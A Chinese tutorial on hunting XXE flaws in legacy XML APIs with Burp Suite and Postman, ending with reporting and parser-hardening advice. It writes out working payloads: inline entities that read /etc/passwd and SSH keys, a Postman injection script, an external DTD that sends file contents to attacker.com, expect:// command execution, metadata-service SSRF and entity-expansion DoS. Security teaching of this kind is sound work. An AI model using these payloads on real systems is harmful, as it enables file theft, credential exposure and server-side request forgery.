1. 项目概述:从JSON到XML,一次被忽视的渗透测试视角转换
在今天的Web安全测试中,JSON几乎成了API交互的代名词。无论是渗透测试新手还是经验丰富的安全研究员,大家的目光和工具链都习惯性地聚焦在JSON格式的请求与响应上。Burp Suite的Intruder模块、Repeater标签,Postman的测试脚本,似乎都是为JSON量身定制的。这导致了一个有趣的现象:当我们面对一个遗留的、或者内部的老旧系统时,如果它还在使用XML作为数据交换格式,很多测试者会下意识地觉得“这玩意儿太老了,没什么好测的”,或者因为对XML结构不熟悉而草草略过。这正是我们最大的思维盲区。
我干了十多年渗透测试,见过太多因为这种“格式歧视”而错失的高危漏洞。XML,尤其是那些没有经过严格安全配置的XML解析器,简直就是一座尚未被充分挖掘的漏洞金矿。其中最典型、也最危险的就是XML外部实体注入,也就是我们常说的XXE。这个漏洞允许攻击者读取服务器上的任意文件,甚至可能造成服务器端请求伪造、端口扫描,在特定条件下还能导致远程代码执行。它的危害等级常常被严重低估。
所以,今天我们不聊JSON,就专门聊聊怎么用你手头最熟悉的工具——Burp Suite和Postman,去系统性地挖掘那些隐藏在老旧XML接口中的XXE漏洞。你会发现,工具还是那些工具,但换一个视角,就能打开一片全新的攻击面。
2. 核心思路与工具定位:为什么是Burp和Postman的组合?
在开始实操之前,我们必须先理清Burp Suite和Postman在这项工作中的不同角色和协同方式。这不是简单的二选一,而是让它们各司其职,形成一套高效的测试流水线。
2.1 Burp Suite:你的侦察兵与主力爆破手
Burp Suite的核心价值在于流量拦截、修改与自动化测试。在针对XML的测试中,它扮演着不可替代的角色:
- 流量捕获与发现:通过Burp Proxy,所有经过浏览器的HTTP/HTTPS流量无所遁形。这是发现那些隐藏在网页表单、AJAX请求或SOAP/WSDL服务中的XML端点的第一步。很多老系统的XML接口可能并不在前端明显展示,而是通过特定的内容类型(如
application/xml或text/xml)在后台通信。 - 精准修改与重放:Burp Repeater是手动测试XXE的利器。当你发现一个可疑的XML请求时,可以一键发送到Repeater,然后在消息编辑器里直接修改XML结构,插入我们的恶意实体声明(DTD),并观察响应变化。这种即时反馈的交互式测试,是理解应用程序如何解析XML的关键。
- 自动化模糊测试:Burp Intruder虽然常被用于参数爆破,但在XXE测试中,它可以用来系统性地对XML请求中的不同位置(如标签值、属性值)插入各种XXE Payload,进行批量测试。特别是对于“盲XXE”(Blind XXE),即漏洞存在但响应中不直接回显数据的情况,Intruder配合Collaborator功能(专业版)或外带数据通道(OOB)测试,效率远超手动。
注意:很多测试者只在Repeater里改个值就认为测完了,这是不够的。XXE Payload的注入点可能很灵活,需要测试所有可能被解析器处理的位置。
2.2 Postman:你的接口地图绘制员与脚本化测试平台
Postman的角色则更偏向于接口管理、前期侦察和复杂场景构建:
- 接口梳理与文档化:对于大型老系统,可能存在着数十个甚至上百个不同的XML API端点。用Postman可以将它们分门别类地收集到不同的Collection中,为每个请求添加描述、保存成功的请求示例。这相当于为你绘制了一张清晰的“攻击地图”,避免在测试中遗漏接口。
- 预请求脚本与测试脚本:这是Postman的杀手锏。我们可以用JavaScript编写“预请求脚本”,动态生成包含XXE Payload的XML主体。例如,脚本可以自动读取一个包含多种DTD变体的文本文件,循环替换到请求体中发送。这比在Burp里手动一个个粘贴要高效和系统得多。
- 环境变量与数据驱动:你可以将目标服务器的基本URL、文件路径(如
file:///etc/passwd、file:///c:/windows/win.ini)、或用于OOB测试的Collaborator域名设置为环境变量。这样,一套测试用例可以快速适配到不同的测试目标,实现测试的“工程化”。 - 用于绕过WAF/输入过滤的复杂Payload构建:有些WAF或应用程序过滤器会检测简单的
<!ENTITY ... SYSTEM "...">结构。在Postman的脚本编辑器中,你可以方便地构建多层次的、经过编码的、或引用远程DTD文件的复杂Payload,这些在Burp的单一输入框里操作起来会比较繁琐。
两者的工作流通常是这样的:先用Burp Proxy进行日常浏览或爬取,发现所有XML接口,并初步筛选出可能解析XML的请求。然后将这些请求的cURL命令导出,导入到Postman中进行整理和初步的脚本化测试。对于需要深度交互、模糊测试或利用漏洞的环节,再回到Burp Suite的Repeater和Intruder中进行。两者通过“导入/导出”功能无缝衔接。
3. 实战环境搭建与目标识别
在开始真正的攻击之前,我们需要一个安全的环境进行练习。强烈建议不要在未经授权的任何系统上进行测试。
3.1 搭建本地靶场
对于XXE学习,最好的起点是PortSwigger提供的Web安全学院(Web Security Academy)中的XXE实验模块。这些实验室环境是故意设计成含有XXE漏洞的,并且提供了从基础到盲注的各种场景。你只需要一个账号(免费注册)即可在浏览器中直接访问靶场,无需自己搭建复杂的服务器环境。
如果你想在本地搭建,可以考虑DVWA(Damn Vulnerable Web Application)的高难度设置,或者专门针对XXE的靶场如“XXE Lab”。但Web安全学院的实验已经足够系统和全面。
3.2 识别潜在的XXE攻击面
不是所有接收XML的接口都一定存在XXE,也并非所有XXE都能被简单利用。我们需要有策略地寻找高价值目标:
- 文件上传功能:这是经典场景。许多系统允许上传XML格式的配置文件、数据文件(如Office 2007+的.docx、.xlsx文件本质是ZIP包内的XML),如果服务器端会解析这些上传的XML文件,那么XXE漏洞就可能存在。在Burp中,你需要重点关注
Content-Type为multipart/form-data或application/xml的上传请求。 - SOAP API:老旧的Web Service大量使用基于XML的SOAP协议。SOAP请求的Body部分就是标准的XML。在Burp的HTTP历史记录中,寻找
Content-Type: text/xml且包含类似<soap:Envelope>标签的请求。 - REST API中的XML支持:尽管REST通常与JSON关联,但很多API通过
Accept和Content-Type头部支持多种格式。你可以尝试将请求的Content-Type从application/json改为application/xml,并相应地将JSON body转换为XML结构,看看服务器是否接受并处理。这常常能发现隐藏的攻击面。 - 单点登录(SSO)或认证令牌:有些系统使用SAML协议进行身份认证,SAML断言就是XML格式的。篡改SAML断言中的XML部分可能引发XXE。
- 文档解析服务:系统内可能集成了PDF生成、报表导出、数据转换等功能,这些功能背后可能调用了XML解析器(如Java的SAXParser、DocumentBuilderFactory,PHP的simplexml_load_string,Python的lxml.etree等)。
在Burp Suite的Target -> Site Map中,你可以使用过滤器功能,快速筛选出包含“xml”关键词或者Content-Type为XML的请求,这是快速定位目标的高效方法。
4. 手动利用Burp Repeater进行基础XXE测试
假设我们已经通过Burp Proxy捕获到了一个向/api/updateProfile发送的POST请求,其Body是XML格式:
<?xml version="1.0" encoding="UTF-8"?> <user> <id>12345</id> <name>John Doe</name> <email>john@example.com</email> </user>我们的目标是测试服务器是否在解析此XML时,会处理外部实体声明。
4.1 测试步骤详解
- 发送到Repeater:在Proxy -> HTTP history中,右键该请求,选择“Send to Repeater”。
- 构造基础XXE Payload:我们的思路是在XML文档内部定义一个DTD(文档类型定义),并在其中声明一个外部实体,然后引用这个实体。将原请求修改为:
关键点解析:<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <user> <id>12345</id> <name>John Doe</name> <email>&xxe;</email> </user><!DOCTYPE foo [...]>:定义了一个根元素为foo的文档类型。这里的foo可以是任意名字,不一定需要和后续的XML根元素匹配(在这个例子中,根元素是user),很多解析器对此并不严格校验。这是XXE Payload的常见起点。<!ENTITY xxe SYSTEM "file:///etc/passwd">:声明了一个名为xxe的实体,其系统标识符(即内容)指向file:///etc/passwd。SYSTEM关键字表示这是一个外部实体。file://是文件协议,用于读取本地文件(Linux/Unix系统)。&xxe;:在XML文档体中引用我们定义的xxe实体。解析器在处理到这里时,会尝试用实体内容(即/etc/passwd文件的内容)来替换&xxe;这个占位符。
- 发送请求并观察响应:点击“Send”按钮。此时,你需要像鹰一样仔细审视服务器的响应。
- 成功迹象:响应中,
<email>标签内的内容不再是john@example.com,而是变成了/etc/passwd文件的内容(一堆用户名和目录信息)。恭喜你,一个标准的XXE文件读取漏洞被证实了。 - 无回显情况:响应可能是一个错误信息(如“内部服务器错误”),或者是一个正常的业务响应但没有任何文件内容。这不意味着漏洞不存在。可能是:
- 解析错误:实体引用被解析了,但内容被服务器端逻辑过滤或没有输出到当前响应中(盲XXE)。
- 路径错误:目标系统是Windows,
file:///etc/passwd路径无效。应尝试Windows路径,如file:///c:/windows/win.ini。 - 权限问题:Web进程没有权限读取目标文件。
- 成功迹象:响应中,
4.2 进阶Payload与位置探测
基础的Payload可能被简单的过滤规则拦截。我们需要灵活变通:
- 尝试不同的注入点:不要只替换
<email>的值。尝试替换<id>、<name>,甚至尝试在属性中注入,例如将请求改为:
有些XML解析器只在文本节点中展开实体,有些则在属性值中也会展开。<user id="&xxe;"> <name>John Doe</name> </user> - 使用CDATA段绕过可能的过滤:如果服务器对输出内容做了HTML编码过滤,导致我们读取的文件内容被转义(如
<变成<),可以尝试利用外部DTD和参数实体构造CDATA段,将文件内容包裹起来,避免被转义。这是一个相对高级的技巧,需要构造一个托管在攻击者服务器上的外部DTD文件。 - 测试盲XXE:如果服务器解析了实体但不将结果返回,我们需要利用“带外数据”(Out-of-Band, OOB)技术来确认漏洞。将Payload中的文件路径替换为一个由我们控制的HTTP服务器URL:
然后在你的VPS上监听HTTP请求。如果服务器解析了此实体,它会尝试向<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe;]>http://attacker.com/evil.dtd发起请求,从而被你监听到。这就是漏洞存在的确凿证据。evil.dtd文件内容可以进一步用于数据外带。
实操心得:在Repeater中测试时,养成使用“注释”功能的习惯。为每一个测试的Payload变种添加简短注释,记录测试目的、时间和结果。当测试案例多起来后,这些注释能帮你快速理清思路,避免重复劳动。
5. 利用Burp Intruder进行自动化XXE Fuzzing
手动测试几个点之后,我们需要扩大测试范围。Burp Intruder可以自动化地对一个请求的多个位置插入大量不同的Payload进行测试。
5.1 配置Intruder攻击
- 发送到Intruder:从Proxy历史或Repeater中,右键目标请求,选择“Send to Intruder”。
- 选择攻击类型与标记位置:在Intruder的“Positions”标签页,Burp通常会自动标记一些参数。我们需要清除所有默认标记,然后手动标记出我们怀疑的所有可能注入点。例如,在之前的XML中,我们可以将
12345、John Doe、john@example.com这三个值分别标记为§payload§。更激进一点,可以把整个<email>标签内容(包括标签本身)都标记上,测试标签名是否也能被注入。攻击类型选择:对于XXE测试,“Sniper”模式(逐个位置测试)和“Pitchfork”模式(多个位置使用不同Payload列表)最常用。通常先从“Sniper”开始。 - 准备Payload集合:切换到“Payloads”标签页。这是Intruder的核心。我们需要准备一个高质量的XXE Payload字典。这个字典不应该只是简单的文件路径列表,而应该包含:
- 基础实体声明:各种不同语法的DTD声明,如
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>,<!DOCTYPE data [<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd"> %dtd;]>等。 - 多种协议尝试:除了
file://,还有http://、https://、ftp://、gopher://、jar:、netdoc:等。不同语言、不同解析库支持的协议可能不同。 - 常见敏感文件路径:针对Linux和Windows系统的路径列表。
- Linux:
/etc/passwd,/etc/shadow,/proc/self/environ,/home/用户名/.ssh/id_rsa, 应用的配置文件等。 - Windows:
c:\windows\win.ini,c:\boot.ini,c:\windows\system32\drivers\etc\hosts等。
- Linux:
- 编码后的Payload:对Payload进行URL编码、HTML实体编码、CDATA包装等,以绕过潜在的输入过滤。
- 基础实体声明:各种不同语法的DTD声明,如
- 设置结果匹配与过滤:在“Options”标签页的“Grep - Match”部分,可以添加一些我们期望在成功响应中出现的字符串,例如“root:x:”、“[boot loader]”(Windows win.ini内容)等。这样,Intruder在攻击完成后,可以高亮显示包含这些关键词的响应,便于我们快速筛选成功命中。
5.2 执行与分析
点击“Start attack”,Intruder会开始自动发送请求。你需要密切关注“Results”窗口:
- 长度(Length)和状态码(Status):异常的响应长度(比如突然变得很长,可能是读入了文件内容)或不同的状态码(如500错误)都值得重点查看。
- Grep匹配:之前设置的关键词如果被匹配到,该列会显示为“Yes”。
- 响应内容:双击任何可疑的行,查看原始响应内容,确认是否成功读取了文件或触发了OOB请求。
避坑技巧:Intruder攻击会产生大量请求,可能触发目标的WAF或速率限制。在“Options” -> “Request Engine”中,合理设置请求间隔(Throttle),例如每秒3-5个请求,可以降低被屏蔽的风险。同时,建议先在Repeater中手动测试几个Payload,确认目标对XML的容忍度,再开展大规模Fuzzing。
6. 利用Postman进行脚本化与复杂场景测试
当测试需要更复杂的逻辑或需要管理大量测试用例时,Postman的优势就体现出来了。
6.1 构建动态XXE Payload的预请求脚本
假设我们有一个Postman请求,其Body是XML格式。我们可以在“Pre-request Script”标签页中编写JavaScript,动态生成Payload。
// 预请求脚本:动态生成包含随机文件路径的XXE Payload const filePaths = [ "file:///etc/passwd", "file:///c:/windows/win.ini", "file:///proc/self/environ", "http://{{collaborator-domain}}/test" // 使用环境变量存储Collaborator域名 ]; // 随机选择一个文件路径,增加测试的不可预测性 const randomPath = filePaths[Math.floor(Math.random() * filePaths.length)]; // 构建XXE Payload const xxePayload = `<!DOCTYPE foo [<!ENTITY xxe SYSTEM "${randomPath}"> ]>`; // 获取当前的请求Body const xmlBody = pm.request.body.raw; // 一个简单的替换:假设原XML第一行是 <?xml version...>, 我们在其后插入DTD。 // 更健壮的做法是使用真正的XML解析器来操作,但这里为了演示用字符串替换。 const modifiedBody = xmlBody.replace('<?xml version="1.0" encoding="UTF-8"?>', `<?xml version="1.0" encoding="UTF-8"?>\n${xxePayload}`); // 将实体引用&xxe;插入到我们想测试的位置,例如email字段。 // 这里假设原body中有一个<email>old@example.com</email>,我们将其替换。 const finalBody = modifiedBody.replace(/<email>.*?<\/email>/, `<email>&xxe;</email>`); // 更新请求Body pm.request.body.update({ mode: 'raw', raw: finalBody, options: { raw: { language: 'xml' } } }); // 在Postman控制台输出日志,便于调试 console.log(`Injected payload for path: ${randomPath}`);这个脚本会在每次请求发送前,自动从列表中选一个路径构造XXE Payload并更新请求体。你可以通过运行Postman的Collection Runner来批量执行这个请求,实现自动化测试。
6.2 利用环境变量进行OOB测试
对于盲XXE,我们需要一个外部的、自己能接收HTTP请求的服务器来确认漏洞。Burp Collaborator是首选,但Postman也可以配合其他公网服务器使用。
- 设置环境变量:在Postman中创建一个环境,例如命名为“XXE_Test”。添加一个变量
collaborator-domain,值为你的Burp Collaborator子域名(如xxxxx.oastify.com)或你自己的服务器域名。 - 在Payload中引用变量:在请求Body或预请求脚本中,使用双花括号语法引用变量:
http://{{collaborator-domain}}/log。 - 监控外带请求:在你的Burp Collaborator客户端(或自己服务器的日志中)查看是否有来自目标服务器的HTTP请求。如果有,则证明目标解析了外部实体并发起了网络请求,盲XXE漏洞存在。
6.3 测试用例管理与数据驱动
将不同的XXE Payload(基础读取、OOB探测、复杂绕过等)保存为一个JSON或CSV文件。在Postman的Collection Runner中,选择“Data”文件,然后可以在请求的Body中通过{{columnName}}的方式引用数据文件中的每一行数据。这样,你可以用一份数据文件驱动成百上千次变体测试,非常适合对单个接口进行深度Fuzzing。
7. 高级利用技巧与常见绕过手段
在实际对抗中,应用程序可能部署了各种防护措施。我们需要掌握一些高级技巧。
7.1 利用参数实体与外部DTD
当直接的内联实体声明被过滤时,可以尝试使用参数实体并引用外部DTD文件。参数实体以%开头,主要在DTD内部使用。
攻击步骤:
- 在攻击者控制的服务器上(如
http://attacker.com/evil.dtd)放置一个DTD文件,内容如下:
这个DTD定义了一个参数实体<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/exfil?data=%file;'>"> %eval; %exfil;%file读取文件,另一个参数实体%eval动态创建一个向攻击者服务器发送数据的实体%exfil。 - 向目标发送的XML Payload变为:
目标解析器会获取外部DTD并执行其中的指令,尝试将文件内容通过HTTP GET请求发送到攻击者的服务器。<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe;]> <user>...</user>
这种方法经常能绕过一些简单的基于关键词匹配的WAF规则,因为它将恶意负载拆分到了远程。
7.2 针对不同语言和解析器的特定Payload
不同的XML解析库(如PHP的libxml、Java的JAXP、Python的lxml、.NET的XmlDocument)在默认配置和支持的协议上可能有细微差别。
- PHP + expect模块:如果PHP安装了expect扩展(罕见但危险),可以使用
expect://协议执行命令:<!ENTITY xxe SYSTEM "expect://id">。 - Java:除了
file://和http://,还可以尝试netdoc://(等同于file://)以及利用Java的XML解析特性进行更复杂的攻击。 - XXE导致的拒绝服务(DoS):可以尝试使用“亿兆实体扩展”攻击,定义一个递归引用的巨大实体,消耗服务器内存:
<!ENTITY a "&b;&b;&b;..."> <!ENTITY b "&c;&c;&c;...">。注意:此攻击具有破坏性,仅限授权测试环境使用。
7.3 编码与包装绕过
- UTF-7编码:有些解析器在特定配置下会处理UTF-7编码的XML。可以将整个Payload转换成UTF-7。在Burp Decoder模块中可以轻松完成编码转换。
- CDATA包装:如前所述,通过外部DTD构造CDATA段,将文件内容包裹在
<![CDATA[ ... ]]>中,可以防止输出时被转义。 - 混合内容类型:有时服务器端代码根据
Content-Type头部决定解析器。尝试将Content-Type改为application/x-www-form-urlencoded,但Body仍然是XML格式,或者使用multipart/form-data,在某个部分中嵌入XML。这可能会绕过一些粗粒度的内容类型检查。
8. 漏洞确认、报告与修复建议
8.1 如何确认漏洞的真实性与影响
- 可回显文件读取:成功读取到
/etc/passwd、win.ini等系统或应用配置文件,是最直接的证据。尝试读取Web应用的源代码(如/var/www/html/config.php),评估影响。 - 盲XXE确认:通过Burp Collaborator或自己的服务器接收到来自目标的HTTP/DNS请求,证明外部实体被解析。可以进一步利用此通道外带数据(如使用FTP协议或HTTP带参数请求)。
- SSRF利用:通过
http://实体,让服务器向内部网络发起请求,探测内网服务(如http://169.254.169.254/latest/meta-data/用于AWS元数据服务)。这证明了XXE漏洞可以转化为服务器端请求伪造漏洞。 - 拒绝服务测试:仅在获得明确授权且了解风险后进行。如果简单的实体扩展导致服务器响应时间极长或崩溃,也说明存在安全隐患。
8.2 编写漏洞报告要点
一份好的XXE漏洞报告应该清晰、可复现:
- 漏洞名称:XML外部实体注入(XXE)。
- 风险等级:通常为高危或严重,取决于可读取文件的敏感度或是否可进一步利用。
- 漏洞位置:提供完整的URL、HTTP方法(POST/GET)。
- 请求与响应:提供触发漏洞的原始HTTP请求(包含恶意XML的Body),以及服务器的响应(包含读取的文件内容或错误信息)。使用Burp的“Copy as curl command”或“Save item”功能保存证据。
- 复现步骤:一步一步说明如何利用。
- 影响分析:说明可以读取哪些敏感文件,是否可进行SSRF、DoS等。
- 修复建议:
- 禁用外部实体解析:这是最根本的解决方案。在代码中配置XML解析器禁用DTD和外部实体。
- Java (DocumentBuilderFactory):
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);和factory.setFeature("http://xml.org/sax/features/external-general-entities", false);等。 - Python (lxml):使用
lxml.etree.XMLParser(resolve_entities=False)。 - PHP (libxml):
libxml_disable_entity_loader(true);。
- Java (DocumentBuilderFactory):
- 使用更安全的替代品:如JSON、YAML,或使用仅处理数据的简单XML解析器。
- 输入验证与过滤:对用户输入的XML进行严格的模式验证(XSD),过滤掉
<!DOCTYPE>、<!ENTITY>、SYSTEM等关键词。但这种方法容易被绕过,应作为辅助手段。 - 白名单控制输出:对输出到HTTP响应的内容进行严格的编码或过滤,防止敏感数据泄露。
- 禁用外部实体解析:这是最根本的解决方案。在代码中配置XML解析器禁用DTD和外部实体。
8.3 测试后的反思与防御视角
作为测试者,在找到漏洞并报告后,不妨从防御者角度思考:为什么这个漏洞会存在?是开发人员对XML风险认知不足,还是使用的第三方库默认配置不安全?在代码审查和组件扫描阶段,如何能提前发现这类问题?这种换位思考能极大提升你的安全综合能力。
挖掘老系统中的XML漏洞,就像一次考古探险。工具(Burp Suite, Postman)是你的铲子和刷子,但更重要的是你对XML协议本身、解析器行为以及系统架构的理解。摆脱对JSON的路径依赖,主动去探索那些看似过时却可能充满风险的角落,是一个优秀安全测试人员的必备素质。每一次成功的XXE挖掘,不仅是一次漏洞的发现,更是对应用程序数据流边界的一次深刻审视。